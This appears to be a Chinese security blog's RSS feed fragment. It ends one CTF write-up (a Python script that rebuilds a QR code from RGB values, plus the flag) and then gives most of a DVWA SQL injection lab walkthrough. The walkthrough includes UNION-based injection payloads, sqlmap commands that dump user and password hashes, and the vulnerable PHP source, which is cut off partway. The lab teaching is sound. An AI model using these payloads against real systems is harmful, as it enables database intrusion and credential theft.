</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># @Author：YueXuan</span>
</span></span><span class="line"><span class="cl"><span class="c1"># @Date  ：2024/9/24 17:29</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">parse_rgb</span><span class="p">(</span><span class="n">rgb_str</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># 去除括号并将字符串分割为列表</span>
</span></span><span class="line"><span class="cl">    <span class="n">rgb_values</span> <span class="o">=</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">value</span><span class="o">.</span><span class="n">strip</span><span class="p">())</span> <span class="k">for</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">rgb_str</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">&#39;(&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">&#39;)&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;,&#39;</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">tuple</span><span class="p">(</span><span class="n">rgb_values</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">create_image_from_txt</span><span class="p">(</span><span class="n">file_path</span><span class="p">,</span> <span class="n">output_path</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># 打开文件并读取所有行</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_path</span><span class="p">,</span> <span class="s1">&#39;r&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">lines</span> <span class="o">=</span> <span class="n">file</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 解析每一行的RGB值</span>
</span></span><span class="line"><span class="cl">    <span class="n">pixels</span> <span class="o">=</span> <span class="p">[</span><span class="n">parse_rgb</span><span class="p">(</span><span class="n">line</span><span class="p">)</span> <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 计算图像的宽度和高度</span>
</span></span><span class="line"><span class="cl">    <span class="n">width</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">pixels</span><span class="p">)</span> <span class="o">**</span> <span class="mf">0.5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">height</span> <span class="o">=</span> <span class="n">width</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 创建一个新图像</span>
</span></span><span class="line"><span class="cl">    <span class="n">image</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="s1">&#39;RGB&#39;</span><span class="p">,</span> <span class="p">(</span><span class="n">width</span><span class="p">,</span> <span class="n">height</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 将像素放入图像中</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">height</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">col</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">width</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">index</span> <span class="o">=</span> <span class="n">row</span> <span class="o">*</span> <span class="n">width</span> <span class="o">+</span> <span class="n">col</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">index</span> <span class="o">&lt;</span> <span class="nb">len</span><span class="p">(</span><span class="n">pixels</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="n">image</span><span class="o">.</span><span class="n">putpixel</span><span class="p">((</span><span class="n">col</span><span class="p">,</span> <span class="n">row</span><span class="p">),</span> <span class="n">pixels</span><span class="p">[</span><span class="n">index</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 保存图像</span>
</span></span><span class="line"><span class="cl">    <span class="n">image</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="n">output_path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Image saved to </span><span class="si">{</span><span class="n">output_path</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">input_file</span> <span class="o">=</span> <span class="s2">&#34;qr.txt&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">output_file</span> <span class="o">=</span> <span class="s2">&#34;output_image.png&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">create_image_from_txt</span><span class="p">(</span><span class="n">input_file</span><span class="p">,</span> <span class="n">output_file</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>得到一个二维码图像，使用QR Research扫码，得到flag</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191708324.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191708324.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191709367.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251228191709367.png" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="flag">flag：</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">flag<span class="o">{</span>ta01uyout1nreet1n0usandtimes<span class="o">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>网络安全 DVWA通关指南 SQL Injection(SQL注入)</title>
      <link>https://yuexuan521.github.io/zh/posts/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8-dvwa%E9%80%9A%E5%85%B3%E6%8C%87%E5%8D%97-sql-injectionsql%E6%B3%A8%E5%85%A5/</link>
      <pubDate>Fri, 20 Sep 2024 12:25:03 +0000</pubDate>
      <guid>https://yuexuan521.github.io/zh/posts/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8-dvwa%E9%80%9A%E5%85%B3%E6%8C%87%E5%8D%97-sql-injectionsql%E6%B3%A8%E5%85%A5/</guid>
      <description>&lt;h2 id=&#34;dvwasqlinjection&#34;&gt;DVWASQLInjection&lt;/h2&gt;
&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735688.jpeg&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735688.jpeg&#34; 
             alt=&#34;在这里插入图片描述&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;参考文献&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.cnblogs.com/linfangnan/p/13994655.html#dvwa-%E9%9D%B6%E5%9C%BA&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;WEB 安全靶场通关指南&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;SQL注入漏洞基本原理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Web应用程序对用户输入的数据校验处理不严或者根本没有校验，致使用户可以拼接执行SQL命令。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="dvwasqlinjection">DVWASQLInjection</h2>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735688.jpeg">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735688.jpeg" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<hr>
<p>参考文献</p>
<ul>
<li><a href="https://www.cnblogs.com/linfangnan/p/13994655.html#dvwa-%E9%9D%B6%E5%9C%BA"target="_blank" rel="noopener noreferrer">WEB 安全靶场通关指南</a></li>
</ul>
<hr>
<blockquote>
<p><strong>SQL注入漏洞基本原理</strong></p>
<p>Web应用程序对用户输入的数据校验处理不严或者根本没有校验，致使用户可以拼接执行SQL命令。</p>
<p>可能导致数据泄露或数据破坏，缺乏可审计性，甚至导致完全接管主机。</p>
<p><strong>根据注入技术分类有以下五种：</strong></p>
<blockquote>
<p>布尔型盲注：根据返回页面判断条件真假</p>
<p>时间型盲注：用页面返回时间是否增加判断是否存在注入</p>
<p>基于错误的注入：页面会返回错误信息</p>
<p>联合查询注入：可以使用union的情况下</p>
<p>堆查询注入：可以同时执行多条语句</p>
</blockquote>
<p><strong>防御方法</strong></p>
<p>使用参数化查询。</p>
<p>数据库服务器不会把参数的内容当作 <code>SQL</code> 指令的一部分来拼接执行；</p>
<p>而是在数据库完成 <code>SQL</code> 指令的编译后才套用参数运行(预编译)。</p>
<p>避免数据变成代码被执行，时刻分清代码和数据的界限。</p>
</blockquote>
<h3 id="low">Low</h3>
<p><strong>一、判断提交方式</strong></p>
<p>在User ID中输入数字1，提交后发现，在URL地址栏出现了提交的参数，由此可以判断提交方式为get方式。</p>
<p>提问：get和post提交方式对SQL注入的实施有什么影响？</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735689.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735689.png" 
             alt="image-20240408153605723" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>二、判断服务器处理类型（数字型或字符型）</strong></p>
<p>加单引号，提交 <code>1'</code> ，出现报错信息，显示多出一个单引号，可以确定为字符型注入</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735690.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735690.png" 
             alt="image-20240411212414415" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>三、判断注入点</strong></p>
<p>提交 <code>1' or 1=1#</code> 语句，结果返回了全部的内容，可以判断存在注入点</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="mi">1</span><span class="s1">&#39; or 1=1#
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735691.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735691.png" 
             alt="image-20240411213036653" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>四、判断列数</strong></p>
<p>使用 <code>order by</code> 语句判断目标数据库表中的列数，依次提交 <code>1' order by 1#</code> 语句，数字从大到小，当出现报错信息后确定列数。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="mi">1</span><span class="s1">&#39; order by 1#
</span></span></span><span class="line"><span class="cl"><span class="s1">1&#39;</span><span class="w"> </span><span class="k">order</span><span class="w"> </span><span class="k">by</span><span class="w"> </span><span class="mi">2</span><span class="o">#</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="mi">1</span><span class="s1">&#39; order by 3# 
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735692.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735692.png" 
             alt="image-20240411214439810" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735693.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735693.png" 
             alt="image-20240411214409610" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735694.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735694.png" 
             alt="image-20240411214320827" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>当提交 <code>1' order by 3#</code> 时出现报错信息，说明目标数据库表中的列数为2</p>
<p><strong>五、提取库名、表名、字段名、值</strong></p>
<p>1、提取库名</p>
<p>依据前一步得到的列数构建注入语句，得到数据库名dvwa</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="mi">1</span><span class="s1">&#39; union select 1,database()#
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735695.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735695.png" 
             alt="image-20240411214816515" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>2、提取表名</p>
<p>通过注入攻击来获取名为’dvwa’的数据库中的所有表名</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="mi">1</span><span class="s1">&#39; union select 1,table_name from information_schema.tables where table_schema=&#39;</span><span class="n">dvwa</span><span class="s1">&#39;#
</span></span></span><span class="line"><span class="cl"><span class="s1">
</span></span></span><span class="line"><span class="cl"><span class="s1">//information_schema 是一个特殊的系统数据库，其中包含了所有用户创建的数据库以及这些数据库中的表的信息。tables 表提供了关于所有表的详细信息，如表名、表类型等。
</span></span></span><span class="line"><span class="cl"><span class="s1">//&#34;1,table_name&#34;中的&#39;</span><span class="mi">1</span><span class="s1">&#39;是一个占位符，用于模拟与原始查询返回相同数量的列，以便UNION操作成功执行。
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>当提交注入语句时，可能出现如下错误信息：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Illegal mix of collations for operation &#39;UNION&#39;
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735696.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735696.png" 
             alt="image-20240411220050884" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>这是由于MySQL在执行 <code>UNION</code> 操作时遇到的不同字符集之间的冲突报错。</p>
<p>解决方法：打开CMD，登录MySQL的dvwa数据库，修改first_name和last_name字段的字符集</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-mysql" data-lang="mysql"><span class="line"><span class="cl"><span class="k">alter</span><span class="w"> </span><span class="k">table</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="n">modify</span><span class="w"> </span><span class="n">first_name</span><span class="w"> </span><span class="kt">varchar</span><span class="p">(</span><span class="mi">15</span><span class="p">)</span><span class="w"> </span><span class="k">character</span><span class="w"> </span><span class="kt">set</span><span class="w"> </span><span class="n">utf8</span><span class="w"> </span><span class="k">collate</span><span class="w"> </span><span class="n">utf8_general_ci</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="k">alter</span><span class="w"> </span><span class="k">table</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="n">modify</span><span class="w"> </span><span class="n">last_name</span><span class="w"> </span><span class="kt">varchar</span><span class="p">(</span><span class="mi">15</span><span class="p">)</span><span class="w"> </span><span class="k">character</span><span class="w"> </span><span class="kt">set</span><span class="w"> </span><span class="n">utf8</span><span class="w"> </span><span class="k">collate</span><span class="w"> </span><span class="n">utf8_general_ci</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="o">//</span><span class="err">将</span><span class="n">first_name和last_name字段的字符集都设置为了utf8</span><span class="err">，并指定了排序规则为</span><span class="n">utf8_general_ci</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>修改完毕后，命令执行成功</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735697.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735697.png" 
             alt="image-20240411221106229" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>3、提取字段名</p>
<p>通过注入攻击获取数据库中特定表（本例中为 <code>users</code> 表）的所有字段名。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="mi">1</span><span class="s1">&#39; union select 1,column_name from information_schema.columns where table_name=&#39;</span><span class="n">users</span><span class="s1">&#39;#
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735698.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735698.png" 
             alt="image-20240412083706100" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>4、提取值</p>
<p>从数据库表 <code>users</code> 中提取 <code>user</code> 和 <code>password</code> 字段的数据</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="mi">1</span><span class="s1">&#39; union select user,password from users#
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>执行命令出现同样的字符编码问题，解决方法还是修改字段的字符集</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735699.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735699.png" 
             alt="image-20240412083801374" 
              
             loading="lazy"
        />
    </a>
</div></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-mysql" data-lang="mysql"><span class="line"><span class="cl"><span class="k">alter</span><span class="w"> </span><span class="k">table</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="n">modify</span><span class="w"> </span><span class="k">user</span><span class="w"> </span><span class="kt">varchar</span><span class="p">(</span><span class="mi">15</span><span class="p">)</span><span class="w"> </span><span class="k">character</span><span class="w"> </span><span class="kt">set</span><span class="w"> </span><span class="n">utf8</span><span class="w"> </span><span class="k">collate</span><span class="w"> </span><span class="n">utf8_general_ci</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="k">alter</span><span class="w"> </span><span class="k">table</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="n">modify</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="kt">varchar</span><span class="p">(</span><span class="mi">50</span><span class="p">)</span><span class="w"> </span><span class="k">character</span><span class="w"> </span><span class="kt">set</span><span class="w"> </span><span class="n">utf8</span><span class="w"> </span><span class="k">collate</span><span class="w"> </span><span class="n">utf8_general_ci</span><span class="p">;</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>执行成功得到用户和密码的数据，密码为32位小写MD5，可以通过 <a href="https://www.cmd5.com/default.aspx"target="_blank" rel="noopener noreferrer">在线工具</a> 解密</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735700.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735700.png" 
             alt="image-20240412084253957" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735701.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735701.png" 
             alt="image-20240412111534464" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>六、SQLmap工具使用</strong></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">sqlmap -u &#34;http://dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#&#34; --cookie &#34;PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low&#34;
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735702.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735702.png" 
             alt="image-20240412103446366" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735703.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735703.png" 
             alt="image-20240412103645411" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735704.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735704.png" 
             alt="image-20240412104023272" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>1、提取库名</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">sqlmap -u &#34;http://dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#&#34; --cookie &#34;PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low&#34; --dbs
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735705.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735705.png" 
             alt="image-20240412104144581" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>2、提取表名</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">sqlmap -u &#34;http://dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#&#34; --cookie &#34;PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low&#34; -D dvwa --tables
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735706.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735706.png" 
             alt="image-20240412104236250" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>3、提取字段名</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">sqlmap -u &#34;http://dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#&#34; --cookie &#34;PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low&#34; -D dvwa -T users --columns
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735707.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735707.png" 
             alt="image-20240412104324776" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>4、提取值</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">sqlmap -u &#34;http://dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#&#34; --cookie &#34;PHPSESSID=i0ssj777jur6gqb9af6bd111tn; security=low&#34; --batch -D dvwa -T users -C user,password --dump
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735708.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165735708.png" 
             alt="image-20240603085905398" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p><strong>七、分析后台脚本</strong></p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&lt;?php
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">if( isset( $_REQUEST[ &#39;Submit&#39; ] ) ) {
</span></span><span class="line"><span class="cl">	// Get input
</span></span><span class="line"><span class="cl">	$id = $_REQUEST[ &#39;id&#39; ];
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	// Check database
</span></span><span class="line"><span class="cl">	$query  = &#34;SELECT first_name, last_name FROM users WHERE user_id = &#39;$id&#39;;&#34;;
